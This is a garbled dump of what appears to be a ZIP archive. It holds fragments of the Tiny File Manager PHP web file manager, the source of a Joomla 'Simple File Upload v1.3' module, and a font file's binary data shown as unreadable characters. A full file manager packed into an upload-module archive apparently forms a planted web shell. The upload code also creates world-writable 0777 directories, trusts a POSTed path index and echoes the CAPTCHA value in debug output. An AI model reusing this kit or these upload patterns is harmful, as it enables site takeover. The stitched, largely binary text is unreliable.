PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager
    Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
    '; $msg .= '
    Seems like you have a trailing slash on the URL.'; $msg .= '
    Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[FM_SESSION_ID]['message'] . '

    '; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    PKQB\-8282mod_simplefileuploadv1.3.phpnuW+Aget( 'upload_capthcabg', '120-192' ); if ($upload_capthcabg !== "") { $bgcolor = explode('-', $upload_capthcabg); if(!is_array($bgcolor)) { $bgcolor = array(0 => "120", 1 => "192"); } else { if (!is_numeric($bgcolor[0])) $bgcolor[0] = "120"; if (!is_numeric($bgcolor[1])) $bgcolor[1] = "192"; } } else { $bgcolor = array(0 => "120", 1 => "192"); } // Make ready for Ajax calls and avoid any whitespace if (isset($_GET["sfuaction"])) { if(!class_exists('SFUAjaxServlet')) JLoader::register('SFUAjaxServlet' , dirname(__FILE__).DIRECTORY_SEPARATOR.'helper.php'); if ($_GET["sfuaction"] === "captcha") { $mid = $_GET["mid"]; //global $mainframe; $app = JFactory::getApplication(); header('Cache-control: private'); header('Last-Modified: ' . gmdate("D, d M Y H:i:s") . ' GMT'); header('Cache-Control: no-store, no-cache, must-revalidate'); header('Cache-Control: post-check=0, pre-check=0', false); header('Pragma: no-cache'); header('Content-type: image/jpeg'); echo SFUAjaxServlet::getCaptcha($sfu_version, $bgcolor, $mid, 'ajax'); //$mainframe->close(); $app->close(); } else { echo SFUAjaxServlet::getContent($_GET["sfuaction"]); } } $session =& JFactory::getSession(); // Get Module ID to create unique names $mid = $module->id; // Store MID for use in SFL and SPU $_SESSION["sfu_mid"] = $mid; $upload_location = $params->get( 'upload_location', '.'.DIRECTORY_SEPARATOR.'images' ); if ( substr( $upload_location , strlen($upload_location) - 1) !== DIRECTORY_SEPARATOR ) $upload_location .= DIRECTORY_SEPARATOR; $upload_bgcolor = $params->get( 'upload_bgcolor', '#e8edf1' ); if ( substr( $upload_bgcolor, 0, 1 ) !== "#" ) $upload_bgcolor = "#" . $upload_bgcolor; $upload_capthcaheight = $params->get( 'upload_capthcaheight', '40' ); $upload_capthcawidth = $params->get( 'upload_capthcawidth', '120' ); $upload_stdbrowse = $params->get( 'upload_stdbrowse', '0' ); $upload_filewidth = $params->get( 'upload_filewidth', '12' ); $upload_maxsize = $params->get( 'upload_maxsize', '100000' ); $upload_popcaptchamsg = $params->get( 'upload_popcaptchamsg', '1' ); $upload_capthca = $params->get( 'upload_capthca', '1' ); $upload_capthcacase = $params->get( 'upload_capthcacase', '0' ); $upload_capthcacasemsg = $params->get( 'upload_capthcacasemsg', '0' ); $upload_multi = $params->get( 'upload_multi', '0' ); $upload_maxmulti = $params->get( 'upload_maxmulti', '100' ); $upload_startmulti = $params->get( 'upload_startmulti', '0' ); $upload_redirect = $params->get( 'upload_redirect', '' ); $upload_formfields = $params->get( 'upload_formfields', '' ); $upload_useformsfields = $params->get( 'upload_useformsfields', '0' ); if ($upload_useformsfields == 0) $upload_formfields = ""; $sfu_autorefreshsfl = $params->get( 'sfu_autorefreshsfl', '0' ); $upload_jquery = $params->get( 'upload_jquery', '0' ); $upload_jqueryinclude = $params->get( 'upload_jqueryinclude', '0' ); $upload_debug = $params->get( 'upload_debug', '0' ); $moduleclass_sfx = $params->get('moduleclass_sfx')?$params->get('moduleclass_sfx'):'' ; $upload_debug = $params->get( 'upload_debug', '0' ); // Get user id and check if user is in list $settingids = $params->get( 'settingids', '' ); // Get current logged in user $user =& JFactory::getUser(); $usr_id = $user->get('id'); $usr_name = $user->get('username'); $users_name = $user->get('name')." (".$usr_name.")"; // Security check for fake username in Joomla if(stripos($usr_name, "/") !== false) { $usr_name = ""; } if(stripos($usr_name, "\\") !== false) { $usr_name = ""; } if(stripos($usr_name, "..") !== false) { $usr_name = ""; } //echo $usr_id; $upload_username = $params->get( 'upload_username', '' ); $upload_password = $params->get( 'upload_password', '' ); $_SESSION["upload_username$mid"] = $upload_username; $_SESSION["upload_password$mid"] = $upload_password; $session->set( 'upload_username$mid', $upload_username ); $session->set( 'upload_password$mid', $upload_password ); // ++User defined upload $upload_usernameddir = $params->get( 'upload_usernameddir', '0' ); $upload_usernameddirdefault = $params->get( 'upload_usernameddirdefault', '0' ); $upload_createdir = $params->get( 'upload_createdir', '0' ); $upload_userlocation = $params->get( 'upload_userlocation', '' ); $settingidsund = $params->get( 'settingidsund', '' ); $settingidsudd = $params->get( 'settingidsudd', '' ); //$settingidsuddpath = $params->get( 'settingidsuddpath', '' ); $upload_userpath = array($upload_location); if (($upload_usernameddir == 1) && ($usr_name !== "")) { if ($upload_debug == 1) echo "
    Use UND!"; if ( substr( $upload_userlocation , strlen($upload_userlocation) - 1) !== DIRECTORY_SEPARATOR ) { $upload_userlocation .= DIRECTORY_SEPARATOR; } if(is_array($settingidsund)) { foreach($settingidsund as $value){ if($value==="[ALL]") { if ($upload_debug == 1) echo "
    UND array found as [ALL]."; $upload_userpath[] = $upload_userlocation.$usr_name.DIRECTORY_SEPARATOR; break; } if($value===$usr_id) { if ($upload_debug == 1) echo "
    UND array found as ".$upload_userlocation.$usr_name.DIRECTORY_SEPARATOR."."; $upload_userpath[] = $upload_userlocation.$usr_name.DIRECTORY_SEPARATOR; break; } } } else { if($settingidsund==="[ALL]") { // If all users are to have UDD if ($upload_debug == 1) echo "
    UND var found as [ALL]."; $upload_userpath[] = $upload_userlocation.$usr_name.DIRECTORY_SEPARATOR; } else { if($settingidsund!=="") { // If only current user uses UDD if($settingidsund===$usr_id) { if ($upload_debug == 1) echo "
    UND var found as ".$upload_userlocation.$usr_name.DIRECTORY_SEPARATOR."."; $upload_userpath[] = $upload_userlocation.$usr_name.DIRECTORY_SEPARATOR; } } } } } //echo "upload_usernameddirdefault=".$upload_usernameddirdefault." count(upload_userpath)".count($upload_userpath); // If Deafult+UND,check if remove Default if (($upload_usernameddirdefault == 1) && (count($upload_userpath) == 2) && ($usr_name !== "")) { //We should have Defalut and one UND path, only leave the UND path if ($upload_debug == 1) echo "
    UND only, default removed."; $upload_userpath = array($upload_userpath[1]); } // ++ TEST: USER DEFINED if(!(is_array($settingidsudd)) && ($settingidsudd !== "")) { //Make it an array $settingidsudd = array("0", $settingidsudd); if ($upload_debug == 1) echo "
    UDD exists."; } // It's an array if it's present as value=0 (zero) is default info text. Always skip zero! if(is_array($settingidsudd) && ($usr_name !== "")) { foreach($settingidsudd as $value){ if($value==="0") { //nothing } else { //$name_chk = substr($value, 0, strpos($value, ">")); $name_chk = explode(">", $value); if($name_chk[0]===$usr_name) { if ( substr( $name_chk[1] , strlen($name_chk[1]) - 1) !== DIRECTORY_SEPARATOR ) { $name_chk[1] .= DIRECTORY_SEPARATOR; } $upload_userpath[] = $name_chk[1]; if ($upload_debug == 1) echo "
    Added ".$name_chk[1]." to UDD."; } } } } // -- if (isset($_FILES["uploadedfile$mid"]["name"]) && ($usr_name !== "")) { if (count($upload_userpath) == 1) { $upload_location = $upload_userpath[0]; if ($upload_debug == 1) echo "
    Default upload location selected."; } else { $idx = 0; if (isset($_POST["selPathId$mid"])) { $idx = $_POST["selPathId$mid"]; } $upload_location = $upload_userpath[$idx]; if ($upload_debug == 1) echo "
    Upload location index [".$idx."] selected as '".$upload_location."'."; //Print_R($upload_userpath); } } // --User defined upload $upload_users = "false"; if(is_array($settingids)) { foreach($settingids as $value){ if($value==="[ALL]") { $upload_users = "true"; if ($upload_debug == 1) echo "
    Allowed array [ALL] found."; break; } if($value===$usr_id) { $upload_users = "true"; if ($upload_debug == 1) echo "
    Allowed array [".$usr_id."] found."; break; } /*echo "settingids=".$value."
    ";*/ } } else { if($settingids==="[ALL]") { $upload_users = "true"; if ($upload_debug == 1) echo "
    Allowed var [ALL] found."; } else { if($settingids!=="") { if($settingids===$usr_id) { if ($upload_debug == 1) echo "
    Allowed var [".$usr_id."] found."; $upload_users = "true"; } /*echo "settingids=".$settingids."
    ";*/ } else { //Allow all users $upload_users = "true"; if ($upload_debug == 1) echo "
    Allowed default to ALL."; } } } // include the helper file require_once(dirname(__FILE__).DIRECTORY_SEPARATOR.'helper.php'); if ($upload_debug == 1) echo "
    helper.php loaded."; $filename = ""; if (isset($_FILES["uploadedfile$mid"]["name"])) { if(is_array($_FILES["uploadedfile$mid"]["name"])) { foreach($_FILES["uploadedfile$mid"]["name"] as $value){ if(strlen($value) > 0) { //Check that we have a filename $filename = $value; if ($upload_debug == 1) echo "
    Uploaded file name exists."; } } } } //print_r($_SERVER); if (strlen($filename) > 0) { // get the items to display from the helper $results = ""; $_SESSION["uploaderr$mid"] = 0; if ($upload_createdir == 1) { if (!file_exists($upload_location)) { //Create directory if missing if (mkdir($upload_location, 0777, true)) { //echo "Created dir: " . $upload_location; $results = JText::_('NEW_DIR')."
    "; if ($upload_debug == 1) echo "
    Created new directory [".$upload_location."]."; // Add empty HTML page to newly created directory if (!file_exists($upload_location . "index.html")) { $fhIndex = fopen($upload_location . "index.html", "w"); if (!$fhIndex) { $stringData = "\n"; fwrite($fhIndex, $stringData); fclose($fhIndex); if ($upload_debug == 1) echo "
    Added index.html in new directory."; } } } else { $_SESSION["uploaderr$mid"] = 1; $results = JText::_('NEW_DIR_FAILED'); if ($upload_debug == 1) echo "
    Failed to create dir: ".$upload_location."."; //echo "Failed to create dir: " . $upload_location; } } } $tmp_upload_capthca = $upload_capthca; if ((isset($_POST["txtsfucaptcha$mid"])) && ($tmp_upload_capthca == 1) && (isset($_SESSION["capString$mid"]))) { $sessioncapString = $_SESSION["capString$mid"]; $posttxtsfucaptcha = $_POST["txtsfucaptcha$mid"]; if ($upload_debug == 1) { echo "
    Stored CAPTCHA:".$sessioncapString; echo "
    Code provided:".$posttxtsfucaptcha; } if ($upload_capthcacase == 1) { $sessioncapString = strtoupper($sessioncapString); $posttxtsfucaptcha = strtoupper($posttxtsfucaptcha); if ($upload_debug == 1) echo "
    Case insensitive CAPTCHA."; } if ($sessioncapString === $posttxtsfucaptcha) $tmp_upload_capthca = 0; } if ($tmp_upload_capthca == 0) { if ($_SESSION["uploaderr$mid"] == 0) { if ($upload_debug == 1) echo "
    Calling ModSimpleFileUploaderHelperv13::getUploadForm!"; $results .= ModSimpleFileUploaderHelperv13::getUploadForm($params, $upload_location, $sfu_basepath, $mid, $upload_users, $users_name); //$sfu_basepath, $sfu_version, $upload_location, $upload_maxsize, $upload_filetypes, $upload_fileexist, $upload_users, $upload_email, $upload_emailmsg, $upload_emailhtml, $upload_unzip, $upload_showerrmsg, $upload_showdircontent, $upload_advancedpopup, $upload_popshowpath, $upload_popshowbytes, $moduleclass_sfx } } else { if ($upload_debug == 1) echo "
    Failed on CAPTCHA [".$_SESSION["capString$mid"]."=".$_POST["txtsfucaptcha$mid"]."]."; $_SESSION["uploaderr$mid"] = 1; $results = JText::_('FAULTY_CAPTCHA'); } } // include the template for display require(JModuleHelper::getLayoutPath('mod_simplefileuploadv'.$sfu_version)); ?> PKQB\JL L tmpl/arial.ttfnuW+ADSIGPp GDEFI GPOSj "GSUBB`Q JSTFm*i LTSHCLc7 [OS/22]s`PCLT{>C 6VDMXPjE cmap!\"Ncvt TfpgmyYngasp glyfYk/Vhdmx XV@head_O6hhea3 $hmtxUh5\kern7a96 6`loca705`maxp name( LH post W,prep%M \8_<'*śbWg >NCz W W</V33f *xC TMC @ Q3>@& 999^ssIwVXZ||@r9A99sUss<sVssUsMsasSsU99prpsZoVVfV9m97Vs9cV9XV\0V V V)999'6sYsJsPsFsK9sBsssDssH?9$s!(9/WVVhV9csJsJsJsJsJsJPsKsKsKsK99#99 ssDsDsDsDsDsssssI3skssQmL=dN9SdNdMdMs8zd1/-%DrdTs.d3ssVV9cRsSGldN/!VV9s\\sI9lG%VVVVV99999c9c9c9.k:K(sV\?)(sIV!Vsrk!kk!s9msB9V\?fPfPsFkVsJVsJGVsKVsKsBsUsss9csD<V\?09$0#ss)()(h9`bUHtHbD).0HkR3OOOjrq"~~~~~~f0 0 *+kUo@:@7?@%UapVsJfPfPVsKVsKVsK9msB9msB9msBss9999999K7Vsss9csD9csDkV\?09 ssssV!VsJD9S9V!sZk""JkWF2xVVXV)9VX 3m9cV0VV a9VHbsk`Hss\\sDV`3z?W`sH`?WW2UdV\997u 1 V@VUkVcN@9cVf0 RV UWUU@UsJ[@sKZ2xxksDUsP&!K+Ek(+0UsKsK?9 @s!kJA-11~~!}3 9iV21-_(P<P<Z<n_s f(d$(ZVZ((WWH-ddddiiiV21-KJK(P<P<Zn_s f(d$(V2P_s<%QCMyFFFFHFFF5|5.555,5555555B6555F::656==JJv'v'2$0FF@FQ sJ]MyVu2u2-2$::B::::656==656==656==____JJJJ>>??>>??>>>>Z*65'Z*65'O'O'$FF$--'' G G##''5E5EB6'u2u22$2$Z@IZ&9ZSJZSJFFFFHFFFFF@0FFc?D[/Ts) grksSrj}_vlX,VsJVsJVsJVsJVsJVsJVsJVsJVsJVsJVsJVsJVsKVsKVsKVsKVsKVsKVsKVsK9c9|9csD9csD9csD9csD9csD9csD9csDc?Dc?Dc?Dc?Dc?Dss[[[[[V!V!V!VsJ99csDsssssU cZkssV UW+EUscsU9`sD:$Fk'VVu2u2u2u22$::::::::::::::656==656==656==656==656==656==22____22______88IIJJJJJJJJJJJJJJJJ>>??>>??>>??>>>>Z*65'O'O'O'$O'O'$O'O'$O'O'$O'O'$FFFF >2 >2@@v'--''--''--''v'v'v'v'v' G G G G G G G G5E5E5E5E5E5E5E5E5E5E656==B6u2u2u2u2u2u2u2u2u2u2u2u2u2u2u2u22$u2u22$2$EEEE()0~22d~2XXd>>??>>Z*65'My#B6/;mvZZSJZSJZSJZSJZSJZSJ5q5Zs@s@ s QfPz@JsFtHVnS9m 9V s9`cWD sVVkO D9$9$0a.!)()1\D\?s<sU2$sNr9 dF +sUVsJVsJD9ms9msBV9csD9csD)\L dF9msBFsVsJVsJVsKVsK99d999csD9csDhsvsV\?09$\Q~s^^)(VsJVsK9csD9csD9csD9csDV!sWsHssPsFsFsUUI2 2D9sBsBxPsssWDnsslsDSD?WfDUU?r99$sT`((T(\L\y$P$P9c@IxPk.;sH$PF@F F$o$$J8cddFddZ^l22ppee!Y!Y99Bd22bb(GWWWWWCWCWCWCWCCW/W/W/W/W//W%W%W%W%W%/WWWWWWBWBWBWBWBBWWWWWBWBWBWBWBBW/W/W/W/W//W/W/W/W/W//W&W&W&W&W&&WBWBWBWBWBBWWWWWBWBWBWBWBBW&W&W&W&W&&W#W#W#W#W##W/W/W/W/W//WKWKWKWKWKKWWWWWBWBWBWBWBBWWWWWW$W$W$W$W$$W/W/W/W/W//WNWNWNWNWNNWWWWLfBBD_QQQL*VD#fDRSSSBQYp`..{L?WD9csDpP;<2 B ecsd VkVk_nDG(D[P9`MPVsKx m9X.x{zmf_9H9`sDm  m  c,D  mP7 mfP+Lx@+Vs]dN2)I( / >+#fP0&g1&UW+E T  T 9cZWh@kkUW+E.VsJVsJDVsKcsUcZN2N\Lxx9csD9`sDJ+ ! ! !UW+E@JsFJFfSMfSGF9mxP0S&CwGVtRVj|iVVCi|X VsJVsVsVsfPsFsFsFsFsFVsKVsKVsKVsKVsK99msBsssshs99 9VVVs~sssssss9csD9csD9csD9csDVsVs^&V\?V\?V\?V\?V\?09$09$0909sssssV V V V V!)()()(s9!sJHHHHHHHHVVVVbbbbbbllllsssssssssDsDsDsDsDsD--````````?W?W?W?W?W?W?W?W__HHbbsshsDsD``?W?WHHHHHHHHVVVVssssssss?W?W?W?W?W?W?W?W__HHHHHHHVVVVVsssss99ee``````VVY?W?W?W?W?We'_as ff$ PV0)0fSSSS+VtFz  Y:9..:s#rrSSSVsD@Pii2aA6xsDDD PDsDsD+UU&`DDD(2k?U+zOQ2Q2H2H22n2Vi-f222q2o222Y22v1o22222d222222Bdddd2222d2dB2d d22Bdddd 22F fFFA<Z 5O__JJ''i=-P<?(P(r;ffsSX GUs9fDFHVfs 0O(B:S QfQUC7P:[_~J::::::::::::::656==656==22__JJ>>??Z*65'Z*65'Z*65'O'O'$O'O'$v'v'v'##''##''5E5E5E5E5E5E G GJJJJ>>??ssF9ss9(s dtHI$s` ssF9Bss?(sJsHsFsKI24Us\Ld232222dBBdBdB*BdB 3ddddd222B22dd22222s922229mVsfAHHHHHHHH````````````ZSJV)X VsK3csHV!PUV V SI@__rs Ls sVs9sV)(;g0HSH9XsHc L9rZZ999 W% >u&5#'eS79]9q7$5S+7Ƥc  ) R M_c  S>+. . -%&%&.. ' '9%.7.7$..+.7.7cc0 -&&22222+11%&. . ' ' 'SS.7.7>>>>9]9.7$$.+.7.7.7.79%& ) %% .>u..M'> &)))$1$$$)(*)$)* % >>17 1%$%  u..11M+%11.&1$&'( 77 77$75 11,1$*1%'7&1+9$$7 71    ,    , ,,, # # ,,,,,,,,,))))++++22222222##22,,,,####9%&%&%&%&%&%&%&%&%&%&%&%& ' ' ' ' ' ' ' '>>9$$$$$$$77ĖĖ%&>9$77777%&.7,2,,,,,,(,,,,,,,,,,,,,,))))))))))))))))))++++++22#2222 # # # # # #,,,,,,,, 2++#,(,,,,, ########$...-./. ' *.%&%&S]S.7%&%& ' '>>$$...7.7+ .7%&$$$$ S%%. $7)% #000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 . (1  '7 2++).-+. >(..%&%& '(  7 7$11111#%&555. .#.#.#.#.# ' ' ' 'eS.7.7.7.7.7>9>]]]9999uuu.7.7.7.7$$$$55....+++++.7.7.7.7.7ƅMMՕccc7&9 %%&&&&&&))))))))""""""$$$$$$))))))))******** &&))$$))** %%))))))))""""""******** %%%%%))))).>>))))$$)))*****... "  (( 7$ %%)  Ƥc&77 1,+*221222*1+1+*+1+$*#))......%&,,,,,,,,,,,,,,))))++### # # #,,,,,,++/-22**+2. ))))))))))))#.). 9%&..9.S,     !" # $!%"&"'#($)&*&+',(-(.*/+0-1-2.3/405061738494:5;5<6=7>8?9@:A;B<C<D=E>F?G@HAIBJBKCLDMFNFOGPHQIRISJTKUMVMWNXOYPZP[Q\S]T^T_U`VaWbWcYdZe[f\g\h]i^j`k`lambncocpdqergsgthuivjwjxkymzn{n|o}p~qqstuvvwxyz{|}}~   !" # $!%"&"'#($)&*&+',(-(.*/+0-1-2.3/405061738494:5;5<6=7>8?9@:A;B<C<D=E>F?G@HAIBJBKCLDMFNFOGPHQIRISJTKUMVMWNXOYPZP[Q\S]T^T_U`VaWbWcYdZe[f\g\h]i^j`k`lambncocpdqergsgthuivjwjxkymzn{n|o}p~qrstuvvwxyz{|}}~   !" # $!%"&"'#($)&*&+',(-(.*/+0-1-2.3/405061738494:5;5<6=7>8?9@:A;B<C<D=E>F?G@HAIBJBKCLDMFNFOGPHQIRISJTKUMVMWNXOYPZP[Q\S]T^T_U`VaWbWcYdZe[f\g\h]i^j`k`lambncocpdqergsgthuivjwjxkymzn{n|o}p~qrstuvvwxyz{|}}~ \                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "                                                                                                                                                           "                                                                                                                                                                                                                                                                                             &                                                                                                                                                                  &                                                                                                                                                                                                                                                                                                    *                                                                                                                                                                    *                                                                                                                                                                                                                                                                                                                                                 0                                                                                                                                                0                                                                                                                                                                                                                                                                                                                            6                                                                                           6                           $! !$!                                          $  $                                                 #  !                                 :                                                                                          :             ""           !          '# #'#                                             ' #'  !                         "                         &   #                               @                                        #    !"                  "      "                     ####          @       ####      %%          $# ##        +'""' +'"!                                         +""&+$   !                !!          %                    *    '                                 !  !B    " "          ! !  !!!                 $!!! !!!!!"#       "! """      #!!   !#               !   $$$$         !B       $$$$      &&          %$ $$         ,(##(!,(#"            !                              ,##',&  !   "           "" """""" ""  ! !!""""""!!      &!                 +    (!!                              ""  %J !   & &         % % ! %%#%    %           (%%%$%%%%%&'" !       &%! &&&      '% ""#!% "%(              ##%      ))))      %J               "          ))))     ++""######     *()) # ! !     1-''-#%!1-'&         $"%        #! 2#!' (!, 2!* "   " %!"!$ #$"&!           && """"&&&&&&&&$$$%$%%####&&&&&&%%####      ! "! +#%   !#            0   -%%  "!!           ###                    # &&  *T %   +! #!!*    $  ! **!#  %*!*(*  + !!!    ###!   ! !".***)*****+,'  %!!!   !! * *%! *** ####!#!#  #!#   ! !$ ,*$'#! ''!%*#"#  &"*-     %           "'"' *       ####..$$..$$!!      *T$$##  !!!!!!!$$$$$$$$$$ !' !          ######..$$..$$!!! !! !! !! !! 11&&"'"'"'"'"'"'         """" /.##..$$ "'  "!%  %!$     83,-#3( *%!!!! 83,!+ !! !!!!   ###!!  !)&*      ( !! %# !8!(&#,$!!""-&#2$8%0% '$$ '#*% '!!%)%(")&+%! !     #$#$#$!!!!    **  """""" ''''""++++++ ##++))"(*(!!!!!!!!!!**(((( !!""""""""++++++!!!!!!!!!!**((((""$$ $% !!!!!'#&!#1(*  % (    7 " ! !3**  #&%%        ##!! !! "'"'"'    ## # !   #       !    (   !*,#  .\# )    /!!$! %!$$!!.   & ! !!$! ""..$!!&#).$.+.  . $$$!!!    !&&&$ !!!!  !!$!! !!$%2...-!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"...../0*###" )!!$$$!!   !!$$! !!!!.! .)$ .!.!.! &&&&$'$&# ! %!$!&"   !$ $(! 1.'!*!!%!$!!#"*+$)!.! &%&!# *%.1       %       ## #################!! ####%+%+#################.#############################   !! !! !! &&&&33''33''$$     #########################################################################################.\''&&  $$$$$$$'''''!!''''' $!!!!!*!#$!   !! !! !! !! !! !! !! &&&&&&33''33''$$$ $$ $$ $$ $$ 55**%+%+%+%+%+%+         %%%% 42 &&33''  %+ #!!!%$)  )!$(#  "!$ =801&8+#.)$$$$ =80$0! $$!!!! ! $$$$"   &&&$$  !$,*.!!#    $,$$$!#)&" $!>$,!) & 0(% $%%1)&7'>!!"(4(#!+ (( *!!& .)#*!!$$!)!-(,&-*0($"!!!!!!$!!!!!     %&%&%&!!!!$$$$!!!!    !!!!!.!.! ! %%%%%%##++++&&////// &&//--%,.,$$$$$$$$%%..++++ $$%%%%%%&&//////$$$$$$$$%%..++++%%((! ()#$$$$$+&)%"!!&!6+.   ")  +"!!  "<#& !""$ $8..  "!& *))!!!! !! !! !! !! !! !! !! &&$$ $$ %+%+%+    && & $  ! &       $!  ! "! + ! ! !!!$.! "0'   2d&,! 3!!$$!'$!)$'!'$!$!2!!  (# !!$!$'$%%22'$$)&,2!!'2/2 ! 2!!!!!'''$$$ ! $!!***'!$$!!$$!! $$'$$!$$'( 62221$##############################################$2111135.&&!&% ,!$$!!!'''$$  ! $$''$!$$$$2#! !2,' 2#2#2#! ****!'*'*& !!!!$!!)$!'$!!!*%!  $' '!+$!53+ $!!!"!.$$!)$'$!$ &!%!./(,!$3$!")()$&  -)26#    #  * #####  &&&&&&&&&&&&&&&& &&&$$ &&&&)/)/ &&&&&&&&&&&&&&&&&2&&&&&&&&&&&&&&&&&&&&&&&&&&&&&   $$ $$ $$ ))))77**77**''       &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&2d+!+!** !!!!!!!!!!!!!!!!!!!!  '''''''+!+!+!+!+!$$+!+!+!+!+!!!!! '$$$$$.!$!!!&'$    $$ $$ $$ $$ $$ $$ $$ ))))))77**77**''' '' '' '' '' ::--)/)/)/)/)/)/           )))) 86 ))77**  )/ &!!$$$(!!', ! -$'+!&!!%$' C=45*=/'!!2,''!'' C=4'4$!!!!''$$$$! $#!!''''!%   ***(' $'0-2$$&!    '0'''$&-*""!!% '!$C'/$!-#)"5+("'( ( 6-*<+C$$!!"%, 9,&$.#!+!+!.!!!$$!*"!!2,!&.!$$''$   !,$!0,0)!1-4,'%!!!!!$$$$$$!!!!!'$$$$$ !!!    )()()($$$$''''!!$$$$!!!!!$$$$$!!2#2#!!!# !!))))))&&....))333333 ))3311)020''''''''((22//// ''!!))))))))333333''''''''((22////!!!!!))++$ !!+,&'''''.)-(%$$*$:/!2 !""""!%, "/%#$!  %A&)! #!%%!' (=22  %$*"-,,!$$$$ $$ $$ $$ $$ $$ $$ $$ ))'' '' )/)/)/    ))*' $ *!    '!$  !$!! %$! !!!/ !$$! $$$'2##%4* 6l)0$   7$$''$!*'$-'*$*'$!'$6##!  -' $$'$'*'!((66*'',)0!! "6$$*636 #  5$$$$$***''' $!'#$ ---*$''$$'!'$$ ''*''$!!''!!*+!#;6665' ! !!&"&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&'!65555!!!791))# )(! 0!!$''$$$***''  $ ''**'$!''''6'# $60*!6'6'6'#  ----$*-*,) $$$$!'$$-'#*'$!!##-(#  '* *$/'$97-"'$#$%$2!''#-'*'$'!")#($13+0#'7' $%,+,"')  1,6:% !   &# * &&&&!  &#  ))))))))))))))))")))'' )))),2,2" )))))))))))))))))6)))))))))))))))))))))))))))))!  " '' '' '' ,,,,;;..;;..++   " "     )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))6l.#.$-- $$$$$$$$$$$$$$$$$$$$  *******.#.#.#.#.#''.$.$.$.$.$###$ *'''''2$'$$$)*'   " '' '' '' '' '' '' '' ,,,,,,;;..;;..+++++++++++>>11,2   ,2,2,2,2,2      " " " " ,,,, =;  ,,;;..  ,2         )##''',#$!!*"0 $ 0'*/$)$$!!!('*!!! HB99-B3*$$60**$**! HB9*8!'$$$$**''''$!'&!!$$****#("!  ---+*  '*416&')$"    *4** *'!")0-$$$$! (  *$'H"*!3'$0&-%9/!+%*+"+":0-!@.H"''#$$!(/#=/)'!2%$/$/$2$$# ''$-%$$60$)2$!!''**'"""$0'#4/4,$418/*($$$$$''''''$$$$$!*''''' $$$    ------''''****$$''''$$$$$!!!!'''''$$6'6'###!!!' $$,,,,,,))2222,,777777 --7755,464********++663333 **$$,,,,,,,,777777********++663333$$$$$,,//' ##/0)*****2-0+(''-'?3$!6 $%%%%$(0 %!!!3 ( '!'$ "   (F),# &#(!!(#+  +B66  ('-%100$'!''''' '' '' '' '' '' '' ,,++++,2,2,2    ,,-* ' -#    *$'   $'$$ ('$ $$!# 3 $''$!# '''*6'&( 8- :t, 4' " """ ;''**'#-*' /*-'-*'$*':%&#     1  )"''*'*-*    #++: :-) !)0 -4##" $ :''-:7 : &   9'''''---*** '#* &' ""000 - '** ' ' *$*' '  * * - **'$$* * ## -." $& ?:::9*"#"##)$)))))))))))))))))))))))))))))))))))))))))))))*#:9999###;=5,,&",+# 3##' **' ' ' - - - * *   ' * * - - *'#* * * * :)& ' :4-#:):):)&  #0000'-1-0, ''''#*''/*&-*'$$&%0+&" ! ! ! )- -'2*'=;2"%*'&'''6#**"&/*-*'*$%,%+'56.3&*;* !" ' "(  0!/0$*,   5/  :>(!##"##!!  (%.((((!!!#"#!!  (% ! ,,,,,,,,,,,,,,,,%,,,)),,,,!/6/6%",,,,,,,,,,,,,,,,, :,,,,,,,,,,,,,,,,,,,,,,,,,,,,,$  %" ))))))!!!0000@@11@@11""""""""  ..""## %"%" # # # #,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:t2&2'00 ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' ' '  